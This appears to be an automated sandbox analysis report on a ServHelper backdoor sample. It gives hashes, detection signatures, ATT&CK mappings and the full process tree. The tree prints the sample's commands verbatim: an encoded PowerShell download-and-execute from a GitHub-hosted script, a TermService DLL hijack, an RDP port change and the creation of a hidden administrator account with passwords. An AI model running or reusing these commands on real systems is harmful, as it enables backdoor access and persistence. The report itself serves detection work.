servhelper | e04abdb57ce06940bdbac3b5c6a99a7e52e6c315dd97e3da045d570871e7900b

Analysis

max time kernel
133s
max time network
122s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
10-04-2024 14:32

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General

Target

e04abdb57ce06940bdbac3b5c6a99a7e52e6c315dd97e3da045d570871e7900b.exe
Size

6.8MB
MD5

fc239dd2dc52a4853c7be50c86367f7b
SHA1

f6c01c5da3f62a97f6d4427b626d366ad898d3b3
SHA256

e04abdb57ce06940bdbac3b5c6a99a7e52e6c315dd97e3da045d570871e7900b
SHA512

4acd84c438e018bdf223561c54b19a6e05b792a5a5bc73d40e5ae4500f3cb9f3ac8e53484b539d49375e4d14341ea1bc45f00223933a4b5f7b251110be3a0458
SSDEEP

196608:DkDzNZ1Ja0TTLmxoQT7RRq4ujlV9450cS:DkDRTPTTStLq4ujw

Score

10^/10

servhelper backdoor discovery exploit persistence trojan upx vmprotect

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

5 1048 powershell.exe
6 1048 powershell.exe
Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1021.001
Possible privilege escalation attempt 8 IoCs
exploit

Processes:

icacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exetakeown.exe

pid process

528 icacls.exe
1512 icacls.exe
2588 icacls.exe
2152 icacls.exe
924 icacls.exe
2104 icacls.exe
3032 icacls.exe
532 takeown.exe

flow	pid	process
5	1048	powershell.exe
6	1048	powershell.exe

pid	process
528	icacls.exe
1512	icacls.exe
2588	icacls.exe
2152	icacls.exe
924	icacls.exe
2104	icacls.exe
3032	icacls.exe
532	takeown.exe

Sets DLL path for service in the registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\TermService\Parameters\ServiceDLL = "C:\\Windows\\branding\\mediasrv.png"	reg.exe

Loads dropped DLL 2 IoCs

Processes:

pid process

1044
1044
Modifies file permissions 1 TTPs 8 IoCs
discovery

File and Directory Permissions Modification
T1222

Processes:

takeown.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exe

pid process

532 takeown.exe
528 icacls.exe
1512 icacls.exe
2588 icacls.exe
2152 icacls.exe
924 icacls.exe
2104 icacls.exe
3032 icacls.exe

pid	process
1044
1044

pid	process
532	takeown.exe
528	icacls.exe
1512	icacls.exe
2588	icacls.exe
2152	icacls.exe
924	icacls.exe
2104	icacls.exe
3032	icacls.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
\Windows\Branding\mediasrv.png	upx
\Windows\Branding\mediasvc.png	upx

VMProtect packed file 1 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

Processes:

resource	yara_rule
behavioral1/memory/2344-0-0x00000000012A0000-0x00000000020E6000-memory.dmp	vmprotect

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service
T1102

Processes:

flow ioc

5 raw.githubusercontent.com
6 raw.githubusercontent.com
4 raw.githubusercontent.com
Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description ioc process

File created C:\Windows\system32\rfxvmt.dll powershell.exe

flow	ioc
5	raw.githubusercontent.com
6	raw.githubusercontent.com
4	raw.githubusercontent.com

description	ioc	process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 9 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\X8Z2KGG9GDV3UE8HUV2I.temp	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe

Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.

System Information Discovery
T1082

Processes:

WMIC.exe

pid process

2684 WMIC.exe

pid	process
2684	WMIC.exe

Modifies data under HKEY_USERS 4 IoCs

Processes:

powershell.exeWMIC.exeWMIC.exe

description	ioc	process
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = d083bbfd538bda01	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

2292 reg.exe
Runs net.exe

pid	process
2292	reg.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
2560	powershell.exe
2320	powershell.exe
1848	powershell.exe
1928	powershell.exe
2560	powershell.exe
2560	powershell.exe
2560	powershell.exe
1048	powershell.exe

Suspicious behavior: LoadsDriver 5 IoCs

Processes:

pid process

468
1044
1044
1044
1044

pid	process
468
1044
1044
1044
1044

Suspicious use of AdjustPrivilegeToken 18 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exeicacls.exeWMIC.exeWMIC.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	2560	powershell.exe
Token: SeDebugPrivilege	2320	powershell.exe
Token: SeDebugPrivilege	1848	powershell.exe
Token: SeDebugPrivilege	1928	powershell.exe
Token: SeRestorePrivilege	1512	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	2684	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2684	WMIC.exe
Token: SeAuditPrivilege	2684	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	2684	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2684	WMIC.exe
Token: SeAuditPrivilege	2684	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	2412	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2412	WMIC.exe
Token: SeAuditPrivilege	2412	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	2412	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2412	WMIC.exe
Token: SeAuditPrivilege	2412	WMIC.exe
Token: SeDebugPrivilege	1048	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

e04abdb57ce06940bdbac3b5c6a99a7e52e6c315dd97e3da045d570871e7900b.exepowershell.execsc.exenet.execmd.execmd.exe

description	pid	process	target process
PID 2344 wrote to memory of 2560	2344	e04abdb57ce06940bdbac3b5c6a99a7e52e6c315dd97e3da045d570871e7900b.exe	powershell.exe
PID 2344 wrote to memory of 2560	2344	e04abdb57ce06940bdbac3b5c6a99a7e52e6c315dd97e3da045d570871e7900b.exe	powershell.exe
PID 2344 wrote to memory of 2560	2344	e04abdb57ce06940bdbac3b5c6a99a7e52e6c315dd97e3da045d570871e7900b.exe	powershell.exe
PID 2560 wrote to memory of 2436	2560	powershell.exe	csc.exe
PID 2560 wrote to memory of 2436	2560	powershell.exe	csc.exe
PID 2560 wrote to memory of 2436	2560	powershell.exe	csc.exe
PID 2436 wrote to memory of 2348	2436	csc.exe	cvtres.exe
PID 2436 wrote to memory of 2348	2436	csc.exe	cvtres.exe
PID 2436 wrote to memory of 2348	2436	csc.exe	cvtres.exe
PID 2560 wrote to memory of 2320	2560	powershell.exe	powershell.exe
PID 2560 wrote to memory of 2320	2560	powershell.exe	powershell.exe
PID 2560 wrote to memory of 2320	2560	powershell.exe	powershell.exe
PID 2560 wrote to memory of 1848	2560	powershell.exe	powershell.exe
PID 2560 wrote to memory of 1848	2560	powershell.exe	powershell.exe
PID 2560 wrote to memory of 1848	2560	powershell.exe	powershell.exe
PID 2560 wrote to memory of 1928	2560	powershell.exe	powershell.exe
PID 2560 wrote to memory of 1928	2560	powershell.exe	powershell.exe
PID 2560 wrote to memory of 1928	2560	powershell.exe	powershell.exe
PID 2560 wrote to memory of 532	2560	powershell.exe	takeown.exe
PID 2560 wrote to memory of 532	2560	powershell.exe	takeown.exe
PID 2560 wrote to memory of 532	2560	powershell.exe	takeown.exe
PID 2560 wrote to memory of 528	2560	powershell.exe	icacls.exe
PID 2560 wrote to memory of 528	2560	powershell.exe	icacls.exe
PID 2560 wrote to memory of 528	2560	powershell.exe	icacls.exe
PID 2560 wrote to memory of 1512	2560	powershell.exe	icacls.exe
PID 2560 wrote to memory of 1512	2560	powershell.exe	icacls.exe
PID 2560 wrote to memory of 1512	2560	powershell.exe	icacls.exe
PID 2560 wrote to memory of 2588	2560	powershell.exe	icacls.exe
PID 2560 wrote to memory of 2588	2560	powershell.exe	icacls.exe
PID 2560 wrote to memory of 2588	2560	powershell.exe	icacls.exe
PID 2560 wrote to memory of 2152	2560	powershell.exe	icacls.exe
PID 2560 wrote to memory of 2152	2560	powershell.exe	icacls.exe
PID 2560 wrote to memory of 2152	2560	powershell.exe	icacls.exe
PID 2560 wrote to memory of 924	2560	powershell.exe	icacls.exe
PID 2560 wrote to memory of 924	2560	powershell.exe	icacls.exe
PID 2560 wrote to memory of 924	2560	powershell.exe	icacls.exe
PID 2560 wrote to memory of 2104	2560	powershell.exe	icacls.exe
PID 2560 wrote to memory of 2104	2560	powershell.exe	icacls.exe
PID 2560 wrote to memory of 2104	2560	powershell.exe	icacls.exe
PID 2560 wrote to memory of 3032	2560	powershell.exe	icacls.exe
PID 2560 wrote to memory of 3032	2560	powershell.exe	icacls.exe
PID 2560 wrote to memory of 3032	2560	powershell.exe	icacls.exe
PID 2560 wrote to memory of 2188	2560	powershell.exe	reg.exe
PID 2560 wrote to memory of 2188	2560	powershell.exe	reg.exe
PID 2560 wrote to memory of 2188	2560	powershell.exe	reg.exe
PID 2560 wrote to memory of 2292	2560	powershell.exe	reg.exe
PID 2560 wrote to memory of 2292	2560	powershell.exe	reg.exe
PID 2560 wrote to memory of 2292	2560	powershell.exe	reg.exe
PID 2560 wrote to memory of 2256	2560	powershell.exe	reg.exe
PID 2560 wrote to memory of 2256	2560	powershell.exe	reg.exe
PID 2560 wrote to memory of 2256	2560	powershell.exe	reg.exe
PID 2560 wrote to memory of 2148	2560	powershell.exe	net.exe
PID 2560 wrote to memory of 2148	2560	powershell.exe	net.exe
PID 2560 wrote to memory of 2148	2560	powershell.exe	net.exe
PID 2148 wrote to memory of 944	2148	net.exe	net1.exe
PID 2148 wrote to memory of 944	2148	net.exe	net1.exe
PID 2148 wrote to memory of 944	2148	net.exe	net1.exe
PID 2560 wrote to memory of 1756	2560	powershell.exe	cmd.exe
PID 2560 wrote to memory of 1756	2560	powershell.exe	cmd.exe
PID 2560 wrote to memory of 1756	2560	powershell.exe	cmd.exe
PID 1756 wrote to memory of 968	1756	cmd.exe	cmd.exe
PID 1756 wrote to memory of 968	1756	cmd.exe	cmd.exe
PID 1756 wrote to memory of 968	1756	cmd.exe	cmd.exe
PID 968 wrote to memory of 2328	968	cmd.exe	net.exe

C:\Users\Admin\AppData\Local\Temp\e04abdb57ce06940bdbac3b5c6a99a7e52e6c315dd97e3da045d570871e7900b.exe
"C:\Users\Admin\AppData\Local\Temp\e04abdb57ce06940bdbac3b5c6a99a7e52e6c315dd97e3da045d570871e7900b.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2344
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2560
- - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\yma1bx4f.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2436
  - - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA96A.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCA969.tmp"
      4⤵
      PID:2348
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2320
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1848
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1928
- - C:\Windows\system32\takeown.exe
    "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:532
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:528
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:1512
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2588
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2152
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:924
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2104
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3032
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:2188
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Sets DLL path for service in the registry
    - Modifies registry key
    PID:2292
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:2256
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2148
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:944
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1756
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:968
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        
        PID:2328
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:2792
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    PID:2036
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      PID:1504
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        
        PID:892
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:876
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:840
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:2376

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc Ghasar4f5 /del
1⤵
PID:1668
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc Ghasar4f5 /del
  2⤵
  PID:2892
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc Ghasar4f5 /del
    3⤵
    PID:1816

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc FNIAHPgt /add
1⤵
PID:2908
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc FNIAHPgt /add
  2⤵
  PID:2824
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc FNIAHPgt /add
    3⤵
    PID:1744

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
PID:2652
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  PID:872
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:1492

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" KXIPPCKF$ /ADD
1⤵
PID:2832
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" KXIPPCKF$ /ADD
  2⤵
  PID:1588
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" KXIPPCKF$ /ADD
    3⤵
    PID:1596

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
PID:1592
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  PID:2596
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:2924

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc FNIAHPgt
1⤵
PID:1860
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc FNIAHPgt
  2⤵
  PID:2012
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc FNIAHPgt
    3⤵
    PID:1320

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:2708
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Detects videocard installed
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2684

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:2408
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2412

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:2480
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:1444
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1048

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Remote Services

T1021

Remote Desktop Protocol

T1021.001

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\RESA96A.tmp

Filesize
1KB

MD5
930c8ee072b5c0763be255b9179f60cb

SHA1
e8214123b02c9cf580e4871d9e8e59ed92d73c96

SHA256
3706f50dc53c2dd78807105d2a3611169b93d57b621ddbcae4203ade13125ce1

SHA512
6b4019ba984c9a03dbddae82cebdb144a8666036dae2c709d5e8d0cbddf935e11aa3ec08a136f74abec6b10ea6af8a6d720c0ab1d98bc425dbe3e3989b303aa1

Download Submit
C:\Users\Admin\AppData\Local\Temp\get-dnsprovider.PS1

Filesize
2.5MB

MD5
5db5ffa607b5b5ca17bfd6fb78403660

SHA1
1e793958cb1dd1dc99da4a50beaa2945561b7a16

SHA256
1fa24f444e6b18ab2072201a5d9de4df325830990f073194addb5327137c2e89

SHA512
3d2eab2b02c1d7302b563e3cc232791e242c8d2686a0a4cb58115cdd4ca19f48e390791404f62fef2c0fdbe3e5185b260de6a8fd5ccef2e091d473e0186ffe43

Download Submit
C:\Users\Admin\AppData\Local\Temp\ready.ps1

Filesize
1KB

MD5
28d9755addec05c0b24cca50dfe3a92b

SHA1
7d3156f11c7a7fb60d29809caf93101de2681aa3

SHA256
abb6ceb444b3dc29fcdcb8bda4935a6a792b85bb7049cb2710d97415d9411af9

SHA512
891a72eeef42be3f04067225a9665020704c99f9c17473ca57e5b946dfa35cb469fa91a794ea30115ce3ed0e940edb3ccff69a16a888379f5ac46a12afaa4c42

Download Submit
C:\Users\Admin\AppData\Local\Temp\yma1bx4f.dll

Filesize
3KB

MD5
f0989b0a7354b92a93e2e1314ed48cc1

SHA1
69ecd38816731409672a31c1d95ed36cd2ecab30

SHA256
6e216abae842d5b077a0aa9755e14d98e9cb6e1f8f412f061b8b89a1ca8c2782

SHA512
94eccb3002234e6fb8c80b1ce063dfecdc0715c85b3ce7d5a5d44a8fc29c1f6090e3da8918c80af3d0a428f2b3db22a2b0448cc4d6208eff61ab34e5343c4194

Download Submit
C:\Users\Admin\AppData\Local\Temp\yma1bx4f.pdb

Filesize
7KB

MD5
d712ecff726561e265ecf9c7cb2b1372

SHA1
19cb8ff00d024ca1d0145af0f160e9522a38354a

SHA256
0de3eb77538fd8c3c657dfea3a371d0527e6fd7e4928068d2ae8fd4f32f4f9f0

SHA512
47a71a0fe1b3fe159dfd151870608718089176ebd9ff773b3eb62afc997cca725140b8ef48d3a433f94f373a820177b1acdd18aa7f1f46f3225afe810d7b949c

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
ea42d885cbf3e251d18a8ffc5a2e2f99

SHA1
7f51842597337b80cca8571e6930f06ddefeffff

SHA256
61c8262c01afa54d49306fc327a83636e473a7921d8ac9eb8bcc6d1b75517463

SHA512
1b3143bd119bdf7a1ec454bbdc8e00e52aa9b78e4503b63cb6d776379a64d0d73caf1c60fb193b185e39c1a5ad63d08ed4312dc430c31ec4caae50d8d5d041f1

Download Submit
C:\Windows\system32\rfxvmt.dll

Filesize
40KB

MD5
dc39d23e4c0e681fad7a3e1342a2843c

SHA1
58fd7d50c2dca464a128f5e0435d6f0515e62073

SHA256
6d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9

SHA512
5cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7

Download Submit
\??\PIPE\lsarpc

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\CSCA969.tmp

Filesize
652B

MD5
b6d1a68f8effa08bced358900b60bfb6

SHA1
7b3537ee61cf278e4bf9e993448fd9ba5b4d86ff

SHA256
967e33aff19f346de1dae91fb3a9fffbd22263dec866ff79bd9b28fce56d1666

SHA512
3df7b8c3ee2b82c8a2e3482ef782451931b0d38c626ca53929fcad88b56d53b08186fc216cc79f0b4956e62ba54cf7449dbdc0df2dc2a9cff605fb7d6988a520

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\yma1bx4f.0.cs

Filesize
424B

MD5
9f8ab7eb0ab21443a2fe06dab341510e

SHA1
2b88b3116a79e48bab7114e18c9b9674e8a52165

SHA256
e1a4fbe36125e02e100e729ce92ab74869423da87cb46da6e3c50d7c4410b2d9

SHA512
53f5dc4c853af5a412fde895635ef4b2de98a165e3546130fdd17a37a5c3b177e21eccf70a5ddf936ac491da2d7e8fcdbc1e564a95ec01b097841aa78869989b

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\yma1bx4f.cmdline

Filesize
309B

MD5
72b005d46d7a2538e31bb13d2bbd9de3

SHA1
26ffd2a3fdebe87f352721f7a1f7b703503cd449

SHA256
2ab7c0c9042a24d4fd53b677c6eac91f4bdb703430e0848798c83497d3158630

SHA512
c799af9c783e160d1175a6b0cd3b0a30f0da6e35038799fa933bc2aabc9a4cf394c0aad4af32a7533e980f40ac20a41190305d9e941826bf5dfca581050b7774

Download Submit
\Windows\Branding\mediasrv.png

Filesize
60KB

MD5
96e498a3833f52ae46bcfdc391f73cf7

SHA1
ecaf72b46cf1cb074bde2914963bb1e61450ca95

SHA256
21a0a297e9a2295f7e32aea08ea74c01199cc57d30b8a177fa99c9cc96a6268b

SHA512
